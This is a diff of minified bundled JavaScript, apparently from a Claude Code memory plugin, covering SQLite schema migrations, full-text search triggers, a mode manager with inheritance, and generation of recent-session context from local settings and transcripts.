idx_observations_sdk_session ON observations(sdk_session_id); - CREATE INDEX idx_observations_project ON observations(project); - CREATE INDEX idx_observations_type ON observations(type); - CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString()),console.log("[SessionStore] Successfully made observations.text nullable")}catch(a){throw this.db.run("ROLLBACK"),a}}catch(e){console.error("[SessionStore] Migration error (make text nullable):",e.message)}}createUserPromptsTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(10))return;if(this.db.query("PRAGMA table_info(user_prompts)").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString());return}console.log("[SessionStore] Creating user_prompts table with FTS5 support..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE user_prompts ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - claude_session_id TEXT NOT NULL, - prompt_number INTEGER NOT NULL, - prompt_text TEXT NOT NULL, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE - ); + `),this.db.prepare("INSERT INTO schema_versions (version, applied_at) VALUES (?, ?)").run(4,new Date().toISOString()),console.log("[SessionStore] Migration004 applied successfully"))}catch(e){throw console.error("[SessionStore] Schema initialization error:",e.message),e}}ensureWorkerPortColumn(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(5))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(a=>a.name==="worker_port")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER"),console.log("[SessionStore] Added worker_port column to sdk_sessions table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(5,new Date().toISOString())}ensurePromptTrackingColumns(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(6))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(c=>c.name==="prompt_counter")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0"),console.log("[SessionStore] Added prompt_counter column to sdk_sessions table")),this.db.query("PRAGMA table_info(observations)").all().some(c=>c.name==="prompt_number")||(this.db.run("ALTER TABLE observations ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(c=>c.name==="prompt_number")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(6,new Date().toISOString())}removeSessionSummariesUniqueConstraint(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(7))return;if(!this.db.query("PRAGMA index_list(session_summaries)").all().some(a=>a.unique===1)){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString());return}console.log("[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE session_summaries_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + request TEXT, + investigated TEXT, + learned TEXT, + completed TEXT, + next_steps TEXT, + files_read TEXT, + files_edited TEXT, + notes TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `),this.db.run(` + INSERT INTO session_summaries_new + SELECT id, sdk_session_id, project, request, investigated, learned, + completed, next_steps, files_read, files_edited, notes, + prompt_number, created_at, created_at_epoch + FROM session_summaries + `),this.db.run("DROP TABLE session_summaries"),this.db.run("ALTER TABLE session_summaries_new RENAME TO session_summaries"),this.db.run(` + CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); + CREATE INDEX idx_session_summaries_project ON session_summaries(project); + CREATE INDEX idx_session_summaries_created ON session_summaries(created_at_epoch DESC); + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString()),console.log("[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id")}catch(a){throw this.db.run("ROLLBACK"),a}}addObservationHierarchicalFields(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(8))return;if(this.db.query("PRAGMA table_info(observations)").all().some(a=>a.name==="title")){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString());return}console.log("[SessionStore] Adding hierarchical fields to observations table..."),this.db.run(` + ALTER TABLE observations ADD COLUMN title TEXT; + ALTER TABLE observations ADD COLUMN subtitle TEXT; + ALTER TABLE observations ADD COLUMN facts TEXT; + ALTER TABLE observations ADD COLUMN narrative TEXT; + ALTER TABLE observations ADD COLUMN concepts TEXT; + ALTER TABLE observations ADD COLUMN files_read TEXT; + ALTER TABLE observations ADD COLUMN files_modified TEXT; + `),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString()),console.log("[SessionStore] Successfully added hierarchical fields to observations table")}makeObservationsTextNullable(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(9))return;let n=this.db.query("PRAGMA table_info(observations)").all().find(a=>a.name==="text");if(!n||n.notnull===0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString());return}console.log("[SessionStore] Making observations.text nullable..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE observations_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + text TEXT, + type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), + title TEXT, + subtitle TEXT, + facts TEXT, + narrative TEXT, + concepts TEXT, + files_read TEXT, + files_modified TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `),this.db.run(` + INSERT INTO observations_new + SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, + narrative, concepts, files_read, files_modified, prompt_number, + created_at, created_at_epoch + FROM observations + `),this.db.run("DROP TABLE observations"),this.db.run("ALTER TABLE observations_new RENAME TO observations"),this.db.run(` + CREATE INDEX idx_observations_sdk_session ON observations(sdk_session_id); + CREATE INDEX idx_observations_project ON observations(project); + CREATE INDEX idx_observations_type ON observations(type); + CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString()),console.log("[SessionStore] Successfully made observations.text nullable")}catch(a){throw this.db.run("ROLLBACK"),a}}createUserPromptsTable(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(10))return;if(this.db.query("PRAGMA table_info(user_prompts)").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString());return}console.log("[SessionStore] Creating user_prompts table with FTS5 support..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE user_prompts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + claude_session_id TEXT NOT NULL, + prompt_number INTEGER NOT NULL, + prompt_text TEXT NOT NULL, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE + ); - CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); - CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); - CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); - CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); - `),this.db.run(` - CREATE VIRTUAL TABLE user_prompts_fts USING fts5( - prompt_text, - content='user_prompts', - content_rowid='id' - ); - `),this.db.run(` - CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; + CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); + CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); + CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); + CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); + `),this.db.run(` + CREATE VIRTUAL TABLE user_prompts_fts USING fts5( + prompt_text, + content='user_prompts', + content_rowid='id' + ); + `),this.db.run(` + CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; - CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - END; + CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + END; - CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString()),console.log("[SessionStore] Successfully created user_prompts table with FTS5 support")}catch(n){throw this.db.run("ROLLBACK"),n}}catch(e){console.error("[SessionStore] Migration error (create user_prompts table):",e.message)}}ensureDiscoveryTokensColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(11))return;this.db.query("PRAGMA table_info(observations)").all().some(i=>i.name==="discovery_tokens")||(this.db.run("ALTER TABLE observations ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(i=>i.name==="discovery_tokens")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(11,new Date().toISOString())}catch(e){throw console.error("[SessionStore] Discovery tokens migration error:",e.message),e}}createPendingMessagesTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(16))return;if(this.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name='pending_messages'").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(16,new Date().toISOString());return}console.log("[SessionStore] Creating pending_messages table..."),this.db.run(` + CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString()),console.log("[SessionStore] Successfully created user_prompts table with FTS5 support")}catch(n){throw this.db.run("ROLLBACK"),n}}ensureDiscoveryTokensColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(11))return;this.db.query("PRAGMA table_info(observations)").all().some(i=>i.name==="discovery_tokens")||(this.db.run("ALTER TABLE observations ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(i=>i.name==="discovery_tokens")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(11,new Date().toISOString())}catch(e){throw console.error("[SessionStore] Discovery tokens migration error:",e.message),e}}createPendingMessagesTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(16))return;if(this.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name='pending_messages'").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(16,new Date().toISOString());return}console.log("[SessionStore] Creating pending_messages table..."),this.db.run(` CREATE TABLE pending_messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, session_db_id INTEGER NOT NULL, @@ -344,7 +344,7 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Obje SELECT files_read, files_modified FROM observations WHERE sdk_session_id = ? - `).all(e),a=new Set,s=new Set;for(let i of n){if(i.files_read)try{let o=JSON.parse(i.files_read);Array.isArray(o)&&o.forEach(c=>a.add(c))}catch{}if(i.files_modified)try{let o=JSON.parse(i.files_modified);Array.isArray(o)&&o.forEach(c=>s.add(c))}catch{}}return{filesRead:Array.from(a),filesModified:Array.from(s)}}getSessionById(e){return this.db.prepare(` + `).all(e),a=new Set,s=new Set;for(let i of n){if(i.files_read){let o=JSON.parse(i.files_read);Array.isArray(o)&&o.forEach(c=>a.add(c))}if(i.files_modified){let o=JSON.parse(i.files_modified);Array.isArray(o)&&o.forEach(c=>s.add(c))}}return{filesRead:Array.from(a),filesModified:Array.from(s)}}getSessionById(e){return this.db.prepare(` SELECT id, claude_session_id, sdk_session_id, project, user_prompt FROM sdk_sessions WHERE id = ? @@ -391,7 +391,7 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Obje UPDATE sdk_sessions SET sdk_session_id = ? WHERE id = ? AND sdk_session_id IS NULL - `).run(r,e).changes===0?(F.debug("DB","sdk_session_id already set, skipping update",{sessionId:e,sdkSessionId:r}),!1):!0}setWorkerPort(e,r){this.db.prepare(` + `).run(r,e).changes===0?(U.debug("DB","sdk_session_id already set, skipping update",{sessionId:e,sdkSessionId:r}),!1):!0}setWorkerPort(e,r){this.db.prepare(` UPDATE sdk_sessions SET worker_port = ? WHERE id = ? @@ -563,8 +563,8 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Obje claude_session_id, prompt_number, prompt_text, created_at, created_at_epoch ) VALUES (?, ?, ?, ?, ?) - `).run(e.claude_session_id,e.prompt_number,e.prompt_text,e.created_at,e.created_at_epoch).lastInsertRowid}}}});function zm(t){if(!t)return[];try{let e=JSON.parse(t);return Array.isArray(e)?e:[]}catch{return[]}}function ya(t){return new Date(t).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}function ii(t){return new Date(t).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}function jn(t){return new Date(t).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}function r7(t,e){return Fm.default.isAbsolute(t)?Fm.default.relative(e,t):t}function Mn(t,e){let r=zm(t);return r.length>0?r7(r[0],e):"General"}function wl(t){return t?Math.ceil(t.length/4):0}function Ak(t,e){let r=new Map;for(let a of t){let s=e(a),i=jn(s);r.has(i)||r.set(i,[]),r.get(i).push(a)}let n=Array.from(r.entries()).sort((a,s)=>{let i=new Date(a[0]).getTime(),o=new Date(s[0]).getTime();return i-o});return new Map(n)}var Fm,Um=ba(()=>{"use strict";Fm=$t(require("path"),1)});var Dk=V((PJ,Mk)=>{"use strict";var jk=Object.getOwnPropertySymbols,s7=Object.prototype.hasOwnProperty,i7=Object.prototype.propertyIsEnumerable;function o7(t){if(t==null)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(t)}function c7(){try{if(!Object.assign)return!1;var t=new String("abc");if(t[5]="de",Object.getOwnPropertyNames(t)[0]==="5")return!1;for(var e={},r=0;r<10;r++)e["_"+String.fromCharCode(r)]=r;var n=Object.getOwnPropertyNames(e).map(function(s){return e[s]});if(n.join("")!=="0123456789")return!1;var a={};return"abcdefghijklmnopqrst".split("").forEach(function(s){a[s]=s}),Object.keys(Object.assign({},a)).join("")==="abcdefghijklmnopqrst"}catch{return!1}}Mk.exports=c7()?Object.assign:function(t,e){for(var r,n=o7(t),a,s=1;s{(function(){"use strict";var t=Dk(),e=Up(),r={origin:"*",methods:"GET,HEAD,PUT,PATCH,POST,DELETE",preflightContinue:!1,optionsSuccessStatus:204};function n(g){return typeof g=="string"||g instanceof String}function a(g,b){if(Array.isArray(b)){for(var p=0;p{"use strict";Gk=$t(require("path"),1);_t()});var jl={};Vl(jl,{generateContext:()=>h7});function d7(){let t=Al.default.join((0,Nl.homedir)(),".claude-mem","settings.json"),e=ft.loadFromFile(t);try{return{totalObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10),fullObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_FULL_COUNT,10),sessionCount:parseInt(e.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10),showReadTokens:e.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS==="true",showWorkTokens:e.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS==="true",showSavingsAmount:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT==="true",showSavingsPercent:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT==="true",observationTypes:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(",").map(r=>r.trim()).filter(Boolean)),observationConcepts:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(",").map(r=>r.trim()).filter(Boolean)),fullObservationField:e.CLAUDE_MEM_CONTEXT_FULL_FIELD,showLastSummary:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY==="true",showLastMessage:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE==="true"}}catch(r){return F.warn("WORKER","Failed to load context settings, using defaults",{},r),{totalObservationCount:50,fullObservationCount:5,sessionCount:10,showReadTokens:!0,showWorkTokens:!0,showSavingsAmount:!0,showSavingsPercent:!0,observationTypes:new Set(Is),observationConcepts:new Set(As),fullObservationField:"narrative",showLastSummary:!0,showLastMessage:!1}}}function Il(t,e,r,n){return e?n?[`${r}${t}:${fe.reset} ${e}`,""]:[`**${t}**: ${e}`,""]:[]}function f7(t){return t.replace(/\//g,"-")}function m7(t){try{if(!(0,ui.existsSync)(t))return{userMessage:"",assistantMessage:""};let e=(0,ui.readFileSync)(t,"utf-8").trim();if(!e)return{userMessage:"",assistantMessage:""};let r=e.split(` -`).filter(a=>a.trim()),n="";for(let a=r.length-1;a>=0;a--)try{let s=r[a];if(!s.includes('"type":"assistant"'))continue;let i=JSON.parse(s);if(i.type==="assistant"&&i.message?.content&&Array.isArray(i.message.content)){let o="";for(let c of i.message.content)c.type==="text"&&(o+=c.text);if(o=o.replace(/[\s\S]*?<\/system-reminder>/g,"").trim(),o){n=o;break}}}catch{continue}return{userMessage:"",assistantMessage:n}}catch(e){return F.failure("WORKER","Failed to extract prior messages from transcript",{transcriptPath:t},e),{userMessage:"",assistantMessage:""}}}async function h7(t,e=!1){let r=d7(),n=t?.cwd??process.cwd(),a=Kk(n),s=null;try{s=new Ma}catch(h){if(h.code==="ERR_DLOPEN_FAILED"){try{(0,ui.unlinkSync)(l7)}catch{}return console.error("Native module rebuild needed - restart Claude Code to auto-fix"),""}throw h}let i=Array.from(r.observationTypes),o=i.map(()=>"?").join(","),c=Array.from(r.observationConcepts),u=c.map(()=>"?").join(","),l=s.db.prepare(` + `).run(e.claude_session_id,e.prompt_number,e.prompt_text,e.created_at,e.created_at_epoch).lastInsertRowid}}}});var s1={};Jn(s1,{ModeManager:()=>$t});var po,Lu,$t,La=ca(()=>{"use strict";po=require("fs"),Lu=require("path");mt();dr();$t=class t{static instance=null;activeMode=null;modesDir;constructor(){let e=nr(),r=[(0,Lu.join)(e,"modes"),(0,Lu.join)(e,"..","plugin","modes")],n=r.find(a=>(0,po.existsSync)(a));this.modesDir=n||r[0]}static getInstance(){return t.instance||(t.instance=new t),t.instance}parseInheritance(e){let r=e.split("--");if(r.length===1)return{hasParent:!1,parentId:"",overrideId:""};if(r.length>2)throw new Error(`Invalid mode inheritance: ${e}. Only one level of inheritance supported (parent--override)`);return{hasParent:!0,parentId:r[0],overrideId:e}}isPlainObject(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}deepMerge(e,r){let n={...e};for(let a in r){let s=r[a],i=e[a];this.isPlainObject(s)&&this.isPlainObject(i)?n[a]=this.deepMerge(i,s):n[a]=s}return n}loadModeFile(e){let r=(0,Lu.join)(this.modesDir,`${e}.json`);if(!(0,po.existsSync)(r))throw new Error(`Mode file not found: ${r}`);let n=(0,po.readFileSync)(r,"utf-8");return JSON.parse(n)}loadMode(e){let r=this.parseInheritance(e);if(!r.hasParent)try{let c=this.loadModeFile(e);return this.activeMode=c,U.debug("SYSTEM",`Loaded mode: ${c.name} (${e})`,void 0,{types:c.observation_types.map(u=>u.id),concepts:c.observation_concepts.map(u=>u.id)}),c}catch{if(U.warn("SYSTEM",`Mode file not found: ${e}, falling back to 'code'`),e==="code")throw new Error("Critical: code.json mode file missing");return this.loadMode("code")}let{parentId:n,overrideId:a}=r,s;try{s=this.loadMode(n)}catch{U.warn("SYSTEM",`Parent mode '${n}' not found for ${e}, falling back to 'code'`),s=this.loadMode("code")}let i;try{i=this.loadModeFile(a),U.debug("SYSTEM",`Loaded override file: ${a} for parent ${n}`)}catch{return U.warn("SYSTEM",`Override file '${a}' not found, using parent mode '${n}' only`),this.activeMode=s,s}if(!i)return U.warn("SYSTEM",`Invalid override file: ${a}, using parent mode '${n}' only`),this.activeMode=s,s;let o=this.deepMerge(s,i);return this.activeMode=o,U.debug("SYSTEM",`Loaded mode with inheritance: ${o.name} (${e} = ${n} + ${a})`,void 0,{parent:n,override:a,types:o.observation_types.map(c=>c.id),concepts:o.observation_concepts.map(c=>c.id)}),o}getActiveMode(){if(!this.activeMode)throw new Error("No mode loaded. Call loadMode() first.");return this.activeMode}getObservationTypes(){return this.getActiveMode().observation_types}getObservationConcepts(){return this.getActiveMode().observation_concepts}getTypeIcon(e){return this.getObservationTypes().find(n=>n.id===e)?.emoji||"\u{1F4DD}"}getWorkEmoji(e){return this.getObservationTypes().find(n=>n.id===e)?.work_emoji||"\u{1F4DD}"}validateType(e){return this.getObservationTypes().some(r=>r.id===e)}getTypeLabel(e){return this.getObservationTypes().find(n=>n.id===e)?.label||e}}});function Hm(t){if(!t)return[];try{let e=JSON.parse(t);return Array.isArray(e)?e:[]}catch{return[]}}function xa(t){return new Date(t).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}function ci(t){return new Date(t).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}function Ln(t){return new Date(t).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}function E7(t,e){return Um.default.isAbsolute(t)?Um.default.relative(e,t):t}function Fn(t,e){let r=Hm(t);return r.length>0?E7(r[0],e):"General"}function El(t){return t?Math.ceil(t.length/4):0}function Hk(t,e){let r=new Map;for(let a of t){let s=e(a),i=Ln(s);r.has(i)||r.set(i,[]),r.get(i).push(a)}let n=Array.from(r.entries()).sort((a,s)=>{let i=new Date(a[0]).getTime(),o=new Date(s[0]).getTime();return i-o});return new Map(n)}var Um,Bm=ca(()=>{"use strict";Um=kt(require("path"),1)});var Gk=V((GJ,Zk)=>{"use strict";var Vk=Object.getOwnPropertySymbols,$7=Object.prototype.hasOwnProperty,R7=Object.prototype.propertyIsEnumerable;function P7(t){if(t==null)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(t)}function O7(){try{if(!Object.assign)return!1;var t=new String("abc");if(t[5]="de",Object.getOwnPropertyNames(t)[0]==="5")return!1;for(var e={},r=0;r<10;r++)e["_"+String.fromCharCode(r)]=r;var n=Object.getOwnPropertyNames(e).map(function(s){return e[s]});if(n.join("")!=="0123456789")return!1;var a={};return"abcdefghijklmnopqrst".split("").forEach(function(s){a[s]=s}),Object.keys(Object.assign({},a)).join("")==="abcdefghijklmnopqrst"}catch{return!1}}Zk.exports=O7()?Object.assign:function(t,e){for(var r,n=P7(t),a,s=1;s{(function(){"use strict";var t=Gk(),e=Bp(),r={origin:"*",methods:"GET,HEAD,PUT,PATCH,POST,DELETE",preflightContinue:!1,optionsSuccessStatus:204};function n(g){return typeof g=="string"||g instanceof String}function a(g,b){if(Array.isArray(b)){for(var p=0;p{"use strict";s$=kt(require("path"),1);mt()});var ql={};Jn(ql,{generateContext:()=>D7});function A7(){let t=Ml.default.join((0,Dl.homedir)(),".claude-mem","settings.json"),e=ct.loadFromFile(t);return{totalObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_OBSERVATIONS,10),fullObservationCount:parseInt(e.CLAUDE_MEM_CONTEXT_FULL_COUNT,10),sessionCount:parseInt(e.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10),showReadTokens:e.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS==="true",showWorkTokens:e.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS==="true",showSavingsAmount:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT==="true",showSavingsPercent:e.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT==="true",observationTypes:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(",").map(r=>r.trim()).filter(Boolean)),observationConcepts:new Set(e.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(",").map(r=>r.trim()).filter(Boolean)),fullObservationField:e.CLAUDE_MEM_CONTEXT_FULL_FIELD,showLastSummary:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY==="true",showLastMessage:e.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE==="true"}}function jl(t,e,r,n){return e?n?[`${r}${t}:${pe.reset} ${e}`,""]:[`**${t}**: ${e}`,""]:[]}function j7(t){return t.replace(/\//g,"-")}function M7(t){try{if(!(0,di.existsSync)(t))return{userMessage:"",assistantMessage:""};let e=(0,di.readFileSync)(t,"utf-8").trim();if(!e)return{userMessage:"",assistantMessage:""};let r=e.split(` +`).filter(a=>a.trim()),n="";for(let a=r.length-1;a>=0;a--)try{let s=r[a];if(!s.includes('"type":"assistant"'))continue;let i=JSON.parse(s);if(i.type==="assistant"&&i.message?.content&&Array.isArray(i.message.content)){let o="";for(let c of i.message.content)c.type==="text"&&(o+=c.text);if(o=o.replace(/[\s\S]*?<\/system-reminder>/g,"").trim(),o){n=o;break}}}catch{continue}return{userMessage:"",assistantMessage:n}}catch(e){return U.failure("WORKER","Failed to extract prior messages from transcript",{transcriptPath:t},e),{userMessage:"",assistantMessage:""}}}async function D7(t,e=!1){let r=A7(),n=t?.cwd??process.cwd(),a=i$(n),s=null;try{s=new qa}catch(h){if(h.code==="ERR_DLOPEN_FAILED"){try{(0,di.unlinkSync)(I7)}catch{}return console.error("Native module rebuild needed - restart Claude Code to auto-fix"),""}throw h}let i=Array.from(r.observationTypes),o=i.map(()=>"?").join(","),c=Array.from(r.observationConcepts),u=c.map(()=>"?").join(","),l=s.db.prepare(` SELECT id, sdk_session_id, type, title, subtitle, narrative, facts, concepts, files_read, files_modified, discovery_tokens, @@ -584,82 +584,82 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Obje WHERE project = ? ORDER BY created_at_epoch DESC LIMIT ? - `).all(a,r.sessionCount+p7),f="",m="";if(r.showLastMessage&&l.length>0)try{let h=t?.session_id,y=l.find(v=>v.sdk_session_id!==h);if(y){let v=y.sdk_session_id,_=f7(n),S=Al.default.join((0,Nl.homedir)(),".claude","projects",_,`${v}.jsonl`),x=m7(S);f=x.userMessage,m=x.assistantMessage}}catch{}if(l.length===0&&d.length===0)return s?.close(),e?` -${fe.bright}${fe.cyan}[${a}] recent context${fe.reset} -${fe.gray}${"\u2500".repeat(60)}${fe.reset} + `).all(a,r.sessionCount+N7),f="",m="";if(r.showLastMessage&&l.length>0){let h=t?.session_id,y=l.find(v=>v.sdk_session_id!==h);if(y){let v=y.sdk_session_id,_=j7(n),S=Ml.default.join((0,Dl.homedir)(),".claude","projects",_,`${v}.jsonl`),x=M7(S);f=x.userMessage,m=x.assistantMessage}}if(l.length===0&&d.length===0)return s?.close(),e?` +${pe.bright}${pe.cyan}[${a}] recent context${pe.reset} +${pe.gray}${"\u2500".repeat(60)}${pe.reset} -${fe.dim}No previous sessions found for this project yet.${fe.reset} +${pe.dim}No previous sessions found for this project yet.${pe.reset} `:`# [${a}] recent context -No previous sessions found for this project yet.`;let g=d.slice(0,r.sessionCount),b=l,p=[];if(e?(p.push(""),p.push(`${fe.bright}${fe.cyan}[${a}] recent context${fe.reset}`),p.push(`${fe.gray}${"\u2500".repeat(60)}${fe.reset}`),p.push("")):(p.push(`# [${a}] recent 